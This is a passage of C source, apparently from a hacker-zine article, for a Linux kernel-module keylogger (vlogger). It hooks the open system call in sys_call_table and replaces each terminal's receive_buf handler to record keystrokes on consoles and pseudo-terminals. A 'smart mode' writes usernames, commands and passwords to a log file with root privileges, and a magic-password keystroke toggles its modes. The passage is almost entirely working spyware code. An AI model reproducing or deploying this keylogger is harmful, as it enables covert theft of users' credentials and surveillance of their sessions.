  649. #define WRITABLE(f) (f->f_op && f->f_op->write)
  650. int write_to_file(char *logfile, char *buf, int size)
  651. {
  652. int ret = 0;
  653. struct file *f = NULL;
  654. lock_kernel();
  655. BEGIN_KMEM;
  656. f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
  657. if (IS_ERR(f)) {
  658. DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
  659. ret = -1;
  660. } else {
  661. if (WRITABLE(f))
  662. _write(f, buf, size);
  663. else {
  664. DPRINT("%s does not have a write method\n",
  665. logfile);
  666. ret = -1;
  667. }
  668. if ((ret = filp_close(f,NULL)))
  669. DPRINT("Error %d closing %s\n", -ret, logfile);
  670. }
  671. END_KMEM;
  672. unlock_kernel();
  673. return ret;
  674. }
  675. #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
  676. #define END_ROOT current->fsuid = saved_fsuid; }
  677. /*
  678. * Logging keystrokes
  679. */
  680. void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
  681. {
  682. int i;
  683. char logfile[256];
  684. char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
  685. char date_time[24];
  686. struct task_struct *task;
  687. if (vlogger_mode == VK_NORMAL)
  688. return;
  689. if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
  690. return;
  691. task = get_task(tty->pgrp);
  692. for (i=0; i<tmp->lastpos; i++)
  693. if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
  694. if (!cont)
  695. tmp->buf[tmp->lastpos++] = 0x0A;
  696. tmp->buf[tmp->lastpos] = 0;
  697. if (vlogger_mode == VK_DUMBMODE) {
  698. snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
  699. LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
  700. BEGIN_ROOT
  701. if (!tmp->status) {
  702. get_time(date_time);
  703. if (task)
  704. snprintf(loginfo, sizeof(loginfo)-1,
  705. "<%s uid=%d %s> %s", date_time,
  706. task->uid, task->comm, tmp->buf);
  707. else
  708. snprintf(loginfo, sizeof(loginfo)-1,
  709. "<%s> %s", date_time, tmp->buf);
  710. write_to_file(logfile, loginfo, strlen(loginfo));
  711. } else {
  712. write_to_file(logfile, tmp->buf, tmp->lastpos);
  713. }
  714. END_ROOT
  715. #ifdef DEBUG
  716. if (task)
  717. DPRINT("%s/%d uid=%d %s: %s",
  718. TTY_NAME(tty), TTY_NUMBER(tty),
  719. task->uid, task->comm, tmp->buf);
  720. else
  721. DPRINT("%s", tmp->buf);
  722. #endif
  723. tmp->status = cont;
  724. } else {
  725. /*
  726. * Logging USER/CMD and PASS in SMART_MODE
  727. */
  728. BEGIN_ROOT
  729. if (!tmp->pass) {
  730. get_time(date_time);
  731. if (task)
  732. snprintf(loginfo, sizeof(loginfo)-1,
  733. "\n[%s tty=%s/%d uid=%d %s]\n"
  734. "USER/CMD %s", date_time,
  735. TTY_NAME(tty),TTY_NUMBER(tty),
  736. task->uid, task->comm, tmp->buf);
  737. else
  738. snprintf(loginfo, sizeof(loginfo)-1,
  739. "\n[%s tty=%s/%d]\nUSER/CMD %s",
  740. date_time, TTY_NAME(tty),
  741. TTY_NUMBER(tty), tmp->buf);
  742. write_to_file(PASS_LOG, loginfo, strlen(loginfo));
  743. } else {
  744. snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
  745. tmp->buf);
  746. write_to_file (PASS_LOG, loginfo, strlen(loginfo));
  747. }
  748. END_ROOT
  749. #ifdef DEBUG
  750. if (!tmp->pass)
  751. DPRINT("USER/CMD %s", tmp->buf);
  752. else
  753. DPRINT("PASS %s", tmp->buf);
  754. #endif
  755. }
  756. if (!cont) tmp->buf[--tmp->lastpos] = 0;
  757. }
  758. #define resetbuf(t) \
  759. { \
  760. t->buf[0] = 0; \
  761. t->lastpos = 0; \
  762. }
  763. #define append_c(t, s, n) \
  764. { \
  765. t->lastpos += n; \
  766. strncat(t->buf, s, n); \
  767. }
  768. static inline void reset_all_buf(void)
  769. {
  770. int i = 0;
  771. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
  772. if (ttys[i] != NULL)
  773. resetbuf(ttys[i]);
  774. }
  775. void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
  776. {
  777. switch(count) {
  778. case 2:
  779. switch(cp[1]) {
  780. case '\'':
  781. append_c(tmp, "[ALT-\']", 7);
  782. break;
  783. case ',':
  784. append_c(tmp, "[ALT-,]", 7);
  785. break;
  786. case '-':
  787. append_c(tmp, "[ALT--]", 7);
  788. break;
  789. case '.':
  790. append_c(tmp, "[ALT-.]", 7);
  791. break;
  792. case '/':
  793. append_c(tmp, "[ALT-/]", 7);
  794. break;
  795. case '0':
  796. append_c(tmp, "[ALT-0]", 7);
  797. break;
  798. case '1':
  799. append_c(tmp, "[ALT-1]", 7);
  800. break;
  801. case '2':
  802. append_c(tmp, "[ALT-2]", 7);
  803. break;
  804. case '3':
  805. append_c(tmp, "[ALT-3]", 7);
  806. break;
  807. case '4':
  808. append_c(tmp, "[ALT-4]", 7);
  809. break;
  810. case '5':
  811. append_c(tmp, "[ALT-5]", 7);
  812. break;
  813. case '6':
  814. append_c(tmp, "[ALT-6]", 7);
  815. break;
  816. case '7':
  817. append_c(tmp, "[ALT-7]", 7);
  818. break;
  819. case '8':
  820. append_c(tmp, "[ALT-8]", 7);
  821. break;
  822. case '9':
  823. append_c(tmp, "[ALT-9]", 7);
  824. break;
  825. case ';':
  826. append_c(tmp, "[ALT-;]", 7);
  827. break;
  828. case '=':
  829. append_c(tmp, "[ALT-=]", 7);
  830. break;
  831. case '[':
  832. append_c(tmp, "[ALT-[]", 7);
  833. break;
  834. case '\\':
  835. append_c(tmp, "[ALT-\\]", 7);
  836. break;
  837. case ']':
  838. append_c(tmp, "[ALT-]]", 7);
  839. break;
  840. case '`':
  841. append_c(tmp, "[ALT-`]", 7);
  842. break;
  843. case 'a':
  844. append_c(tmp, "[ALT-A]", 7);
  845. break;
  846. case 'b':
  847. append_c(tmp, "[ALT-B]", 7);
  848. break;
  849. case 'c':
  850. append_c(tmp, "[ALT-C]", 7);
  851. break;
  852. case 'd':
  853. append_c(tmp, "[ALT-D]", 7);
  854. break;
  855. case 'e':
  856. append_c(tmp, "[ALT-E]", 7);
  857. break;
  858. case 'f':
  859. append_c(tmp, "[ALT-F]", 7);
  860. break;
  861. case 'g':
  862. append_c(tmp, "[ALT-G]", 7);
  863. break;
  864. case 'h':
  865. append_c(tmp, "[ALT-H]", 7);
  866. break;
  867. case 'i':
  868. append_c(tmp, "[ALT-I]", 7);
  869. break;
  870. case 'j':
  871. append_c(tmp, "[ALT-J]", 7);
  872. break;
  873. case 'k':
  874. append_c(tmp, "[ALT-K]", 7);
  875. break;
  876. case 'l':
  877. append_c(tmp, "[ALT-L]", 7);
  878. break;
  879. case 'm':
  880. append_c(tmp, "[ALT-M]", 7);
  881. break;
  882. case 'n':
  883. append_c(tmp, "[ALT-N]", 7);
  884. break;
  885. case 'o':
  886. append_c(tmp, "[ALT-O]", 7);
  887. break;
  888. case 'p':
  889. append_c(tmp, "[ALT-P]", 7);
  890. break;
  891. case 'q':
  892. append_c(tmp, "[ALT-Q]", 7);
  893. break;
  894. case 'r':
  895. append_c(tmp, "[ALT-R]", 7);
  896. break;
  897. case 's':
  898. append_c(tmp, "[ALT-S]", 7);
  899. break;
  900. case 't':
  901. append_c(tmp, "[ALT-T]", 7);
  902. break;
  903. case 'u':
  904. append_c(tmp, "[ALT-U]", 7);
  905. break;
  906. case 'v':
  907. append_c(tmp, "[ALT-V]", 7);
  908. break;
  909. case 'x':
  910. append_c(tmp, "[ALT-X]", 7);
  911. break;
  912. case 'y':
  913. append_c(tmp, "[ALT-Y]", 7);
  914. break;
  915. case 'z':
  916. append_c(tmp, "[ALT-Z]", 7);
  917. break;
  918. }
  919. break;
  920. case 3:
  921. switch(cp[2]) {
  922. case 68:
  923. // Left: 27 91 68
  924. append_c(tmp, "[LEFT]", 6);
  925. break;
  926. case 67:
  927. // Right: 27 91 67
  928. append_c(tmp, "[RIGHT]", 7);
  929. break;
  930. case 65:
  931. // Up: 27 91 65
  932. append_c(tmp, "[UP]", 4);
  933. break;
  934. case 66:
  935. // Down: 27 91 66
  936. append_c(tmp, "[DOWN]", 6);
  937. break;
  938. case 80:
  939. // Pause/Break: 27 91 80
  940. append_c(tmp, "[BREAK]", 7);
  941. break;
  942. }
  943. break;
  944. case 4:
  945. switch(cp[3]) {
  946. case 65:
  947. // F1: 27 91 91 65
  948. append_c(tmp, "[F1]", 4);
  949. break;
  950. case 66:
  951. // F2: 27 91 91 66
  952. append_c(tmp, "[F2]", 4);
  953. break;
  954. case 67:
  955. // F3: 27 91 91 67
  956. append_c(tmp, "[F3]", 4);
  957. break;
  958. case 68:
  959. // F4: 27 91 91 68
  960. append_c(tmp, "[F4]", 4);
  961. break;
  962. case 69:
  963. // F5: 27 91 91 69
  964. append_c(tmp, "[F5]", 4);
  965. break;
  966. case 126:
  967. switch(cp[2]) {
  968. case 53:
  969. // PgUp: 27 91 53 126
  970. append_c(tmp, "[PgUP]", 6);
  971. break;
  972. case 54:
  973. // PgDown: 27 91 54 126
  974. append_c(tmp,
  975. "[PgDOWN]", 8);
  976. break;
  977. case 49:
  978. // Home: 27 91 49 126
  979. append_c(tmp, "[HOME]", 6);
  980. break;
  981. case 52:
  982. // End: 27 91 52 126
  983. append_c(tmp, "[END]", 5);
  984. break;
  985. case 50:
  986. // Insert: 27 91 50 126
  987. append_c(tmp, "[INS]", 5);
  988. break;
  989. case 51:
  990. // Delete: 27 91 51 126
  991. append_c(tmp, "[DEL]", 5);
  992. break;
  993. }
  994. break;
  995. }
  996. break;
  997. case 5:
  998. if(cp[2] == 50)
  999. switch(cp[3]) {
  1000. case 48:
  1001. // F9: 27 91 50 48 126
  1002. append_c(tmp, "[F9]", 4);
  1003. break;
  1004. case 49:
  1005. // F10: 27 91 50 49 126
  1006. append_c(tmp, "[F10]", 5);
  1007. break;
  1008. case 51:
  1009. // F11: 27 91 50 51 126
  1010. append_c(tmp, "[F11]", 5);
  1011. break;
  1012. case 52:
  1013. // F12: 27 91 50 52 126
  1014. append_c(tmp, "[F12]", 5);
  1015. break;
  1016. case 53:
  1017. // Shift-F1: 27 91 50 53 126
  1018. append_c(tmp, "[SH-F1]", 7);
  1019. break;
  1020. case 54:
  1021. // Shift-F2: 27 91 50 54 126
  1022. append_c(tmp, "[SH-F2]", 7);
  1023. break;
  1024. case 56:
  1025. // Shift-F3: 27 91 50 56 126
  1026. append_c(tmp, "[SH-F3]", 7);
  1027. break;
  1028. case 57:
  1029. // Shift-F4: 27 91 50 57 126
  1030. append_c(tmp, "[SH-F4]", 7);
  1031. break;
  1032. }
  1033. else
  1034. switch(cp[3]) {
  1035. case 55:
  1036. // F6: 27 91 49 55 126
  1037. append_c(tmp, "[F6]", 4);
  1038. break;
  1039. case 56:
  1040. // F7: 27 91 49 56 126
  1041. append_c(tmp, "[F7]", 4);
  1042. break;
  1043. case 57:
  1044. // F8: 27 91 49 57 126
  1045. append_c(tmp, "[F8]", 4);
  1046. break;
  1047. case 49:
  1048. // Shift-F5: 27 91 51 49 126
  1049. append_c(tmp, "[SH-F5]", 7);
  1050. break;
  1051. case 50:
  1052. // Shift-F6: 27 91 51 50 126
  1053. append_c(tmp, "[SH-F6]", 7);
  1054. break;
  1055. case 51:
  1056. // Shift-F7: 27 91 51 51 126
  1057. append_c(tmp, "[SH-F7]", 7);
  1058. break;
  1059. case 52:
  1060. // Shift-F8: 27 91 51 52 126
  1061. append_c(tmp, "[SH-F8]", 7);
  1062. break;
  1063. };
  1064. break;
  1065. default: // Unknow
  1066. break;
  1067. }
  1068. }
  1069. /*
  1070. * Called whenever user press a key
  1071. */
  1072. void vlogger_process(struct tty_struct *tty,
  1073. const unsigned char *cp, int count)
  1074. {
  1075. struct tlogger *tmp = ttys[TTY_INDEX(tty)];
  1076. if (!tmp) {
  1077. DPRINT("erm .. unknow error???\n");
  1078. init_tty(tty, TTY_INDEX(tty));
  1079. tmp = ttys[TTY_INDEX(tty)];
  1080. if (!tmp)
  1081. return;
  1082. }
  1083. if (vlogger_mode == VK_SMARTMODE) {
  1084. if (tmp->status && !IS_PASSWD(tty)) {
  1085. resetbuf(tmp);
  1086. }
  1087. if (!tmp->pass && IS_PASSWD(tty)) {
  1088. logging(tty, tmp, 0);
  1089. resetbuf(tmp);
  1090. }
  1091. if (tmp->pass && !IS_PASSWD(tty)) {
  1092. if (!tmp->lastpos)
  1093. logging(tty, tmp, 0);
  1094. resetbuf(tmp);
  1095. }
  1096. tmp->pass = IS_PASSWD(tty);
  1097. tmp->status = 0;
  1098. }
  1099. if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
  1100. logging(tty, tmp, 1);
  1101. resetbuf(tmp);
  1102. }
  1103. if (count == 1) {
  1104. if (cp[0] == VK_TOGLE_CHAR) {
  1105. if (!strcmp(tmp->buf, MAGIC_PASS)) {
  1106. if(vlogger_mode < 2)
  1107. vlogger_mode++;
  1108. else
  1109. vlogger_mode = 0;
  1110. reset_all_buf();
  1111. switch(vlogger_mode) {
  1112. case VK_DUMBMODE:
  1113. DPRINT("Dumb Mode\n");
  1114. TTY_WRITE(tty, "\r\n"
  1115. "Dumb Mode\n", 12);
  1116. break;
  1117. case VK_SMARTMODE:
  1118. DPRINT("Smart Mode\n");
  1119. TTY_WRITE(tty, "\r\n"
  1120. "Smart Mode\n", 13);
  1121. break;
  1122. case VK_NORMAL:
  1123. DPRINT("Normal Mode\n");
  1124. TTY_WRITE(tty, "\r\n"
  1125. "Normal Mode\n", 14);
  1126. }
  1127. }
  1128. }
  1129. switch (cp[0]) {
  1130. case 0x01: //^A
  1131. append_c(tmp, "[^A]", 4);
  1132. break;
  1133. case 0x02: //^B
  1134. append_c(tmp, "[^B]", 4);
  1135. break;
  1136. case 0x03: //^C
  1137. append_c(tmp, "[^C]", 4);
  1138. case 0x04: //^D
  1139. append_c(tmp, "[^D]", 4);
  1140. case 0x0D: //^M
  1141. case 0x0A:
  1142. if (vlogger_mode == VK_SMARTMODE) {
  1143. if (IS_PASSWD(tty)) {
  1144. logging(tty, tmp, 0);
  1145. resetbuf(tmp);
  1146. } else
  1147. tmp->status = 1;
  1148. } else {
  1149. logging(tty, tmp, 0);
  1150. resetbuf(tmp);
  1151. }
  1152. break;
  1153. case 0x05: //^E
  1154. append_c(tmp, "[^E]", 4);
  1155. break;
  1156. case 0x06: //^F
  1157. append_c(tmp, "[^F]", 4);
  1158. break;
  1159. case 0x07: //^G
  1160. append_c(tmp, "[^G]", 4);
  1161. break;
  1162. case 0x09: //TAB - ^I
  1163. append_c(tmp, "[TAB]", 5);
  1164. break;
  1165. case 0x0b: //^K
  1166. append_c(tmp, "[^K]", 4);
  1167. break;
  1168. case 0x0c: //^L
  1169. append_c(tmp, "[^L]", 4);
  1170. break;
  1171. case 0x0e: //^E
  1172. append_c(tmp, "[^E]", 4);
  1173. break;
  1174. case 0x0f: //^O
  1175. append_c(tmp, "[^O]", 4);
  1176. break;
  1177. case 0x10: //^P
  1178. append_c(tmp, "[^P]", 4);
  1179. break;
  1180. case 0x11: //^Q
  1181. append_c(tmp, "[^Q]", 4);
  1182. break;
  1183. case 0x12: //^R
  1184. append_c(tmp, "[^R]", 4);
  1185. break;
  1186. case 0x13: //^S
  1187. append_c(tmp, "[^S]", 4);
  1188. break;
  1189. case 0x14: //^T
  1190. append_c(tmp, "[^T]", 4);
  1191. break;
  1192. case 0x15: //CTRL-U
  1193. resetbuf(tmp);
  1194. break;
  1195. case 0x16: //^V
  1196. append_c(tmp, "[^V]", 4);
  1197. break;
  1198. case 0x17: //^W
  1199. append_c(tmp, "[^W]", 4);
  1200. break;
  1201. case 0x18: //^X
  1202. append_c(tmp, "[^X]", 4);
  1203. break;
  1204. case 0x19: //^Y
  1205. append_c(tmp, "[^Y]", 4);
  1206. break;
  1207. case 0x1a: //^Z
  1208. append_c(tmp, "[^Z]", 4);
  1209. break;
  1210. case 0x1c: //^\
  1211. append_c(tmp, "[^\\]", 4);
  1212. break;
  1213. case 0x1d: //^]
  1214. append_c(tmp, "[^]]", 4);
  1215. break;
  1216. case 0x1e: //^^
  1217. append_c(tmp, "[^^]", 4);
  1218. break;
  1219. case 0x1f: //^_
  1220. append_c(tmp, "[^_]", 4);
  1221. break;
  1222. case BACK_SPACE_CHAR1:
  1223. case BACK_SPACE_CHAR2:
  1224. if (!tmp->lastpos) break;
  1225. if (tmp->buf[tmp->lastpos-1] != ']')
  1226. tmp->buf[--tmp->lastpos] = 0;
  1227. else {
  1228. append_c(tmp, "[^H]", 4);
  1229. }
  1230. break;
  1231. case ESC_CHAR: //ESC
  1232. append_c(tmp, "[ESC]", 5);
  1233. break;
  1234. default:
  1235. tmp->buf[tmp->lastpos++] = cp[0];
  1236. tmp->buf[tmp->lastpos] = 0;
  1237. }
  1238. } else { // a block of chars or special key
  1239. if (cp[0] != ESC_CHAR) {
  1240. while (count >= MAX_BUFFER) {
  1241. append_c(tmp, cp, MAX_BUFFER);
  1242. logging(tty, tmp, 1);
  1243. resetbuf(tmp);
  1244. count -= MAX_BUFFER;
  1245. cp += MAX_BUFFER;
  1246. }
  1247. append_c(tmp, cp, count);
  1248. } else // special key
  1249. special_key(tmp, cp, count);
  1250. }
  1251. }
  1252. void my_tty_open(void)
  1253. {
  1254. int fd, i;
  1255. char dev_name[80];
  1256. #ifdef LOCAL_ONLY
  1257. int fl = 0;
  1258. struct tty_struct * tty;
  1259. struct file * file;
  1260. #endif
  1261. for (i=1; i<MAX_TTY_CON; i++) {
  1262. snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
  1263. BEGIN_KMEM
  1264. fd = open(dev_name, O_RDONLY, 0);
  1265. if (fd < 0) continue;
  1266. #ifdef LOCAL_ONLY
  1267. file = fget(fd);
  1268. tty = file->private_data;
  1269. if (tty != NULL &&
  1270. tty->ldisc.receive_buf != NULL) {
  1271. if (!fl) {
  1272. old_receive_buf =
  1273. tty->ldisc.receive_buf;
  1274. fl = 1;
  1275. }
  1276. init_tty(tty, TTY_INDEX(tty));
  1277. }
  1278. fput(file);
  1279. #endif
  1280. close(fd);
  1281. END_KMEM
  1282. }
  1283. #ifndef LOCAL_ONLY
  1284. for (i=0; i<MAX_PTS_CON; i++) {
  1285. snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
  1286. BEGIN_KMEM
  1287. fd = open(dev_name, O_RDONLY, 0);
  1288. if (fd >= 0) close(fd);
  1289. END_KMEM
  1290. }
  1291. #endif
  1292. }
  1293. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  1294. char *fp, int count)
  1295. {
  1296. if (!tty->real_raw && !tty->raw) // ignore raw mode
  1297. vlogger_process(tty, cp, count);
  1298. (*old_receive_buf)(tty, cp, fp, count);
  1299. }
  1300. static inline void init_tty(struct tty_struct *tty, int tty_index)
  1301. {
  1302. struct tlogger *tmp;
  1303. DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
  1304. if (ttys[tty_index] == NULL) {
  1305. tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
  1306. if (!tmp) {
  1307. DPRINT("kmalloc failed!\n");
  1308. return;
  1309. }
  1310. memset(tmp, 0, sizeof(struct tlogger));
  1311. tmp->tty = tty;
  1312. tty->ldisc.receive_buf = new_receive_buf;
  1313. ttys[tty_index] = tmp;
  1314. } else {
  1315. tmp = ttys[tty_index];
  1316. logging(tty, tmp, 1);
  1317. resetbuf(tmp);
  1318. tty->ldisc.receive_buf = new_receive_buf;
  1319. }
  1320. }
  1321. asmlinkage int new_sys_open(const char *filename, int flags, int mode)
  1322. {
  1323. int ret;
  1324. static int fl = 0;
  1325. struct file * file;
  1326. ret = (*original_sys_open)(filename, flags, mode);
  1327. if (ret >= 0) {
  1328. struct tty_struct * tty;
  1329. BEGIN_KMEM
  1330. lock_kernel();
  1331. file = fget(ret);
  1332. tty = file->private_data;
  1333. if (tty != NULL &&
  1334. ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
  1335. TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
  1336. (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
  1337. tty->driver.subtype == PTY_TYPE_SLAVE &&
  1338. TTY_NUMBER(tty) < MAX_PTS_CON)) &&
  1339. tty->ldisc.receive_buf != NULL &&
  1340. tty->ldisc.receive_buf != new_receive_buf) {
  1341. if (!fl) {
  1342. old_receive_buf = tty->ldisc.receive_buf;
  1343. fl = 1;
  1344. }
  1345. init_tty(tty, TTY_INDEX(tty));
  1346. }
  1347. fput(file);
  1348. unlock_kernel();
  1349. END_KMEM
  1350. }
  1351. return ret;
  1352. }
  1353. int init_module(void)
  1354. {
  1355. DPRINT(MVERSION);
  1356. #ifndef LOCAL_ONLY
  1357. original_sys_open = sys_call_table[__NR_open];
  1358. sys_call_table[__NR_open] = new_sys_open;
  1359. #endif
  1360. my_tty_open();
  1361. // MOD_INC_USE_COUNT;
  1362. return 0;
  1363. }
  1364. DECLARE_WAIT_QUEUE_HEAD(wq);
  1365. void cleanup_module(void)
  1366. {
  1367. int i;
  1368. #ifndef LOCAL_ONLY
  1369. sys_call_table[__NR_open] = original_sys_open;
  1370. #endif
  1371. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
  1372. if (ttys[i] != NULL) {
  1373. ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
  1374. }
  1375. }
  1376. sleep_on_timeout(&wq, HZ);
  1377. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
  1378. if (ttys[i] != NULL) {
  1379. kfree(ttys[i]);
  1380. }
  1381. }
  1382. DPRINT("Unloaded\n");
  1383. }
  1384. EXPORT_NO_SYMBOLS;
  1385. <-->
  1386. |=[ EOF ]=---------------------------------------------------------------=|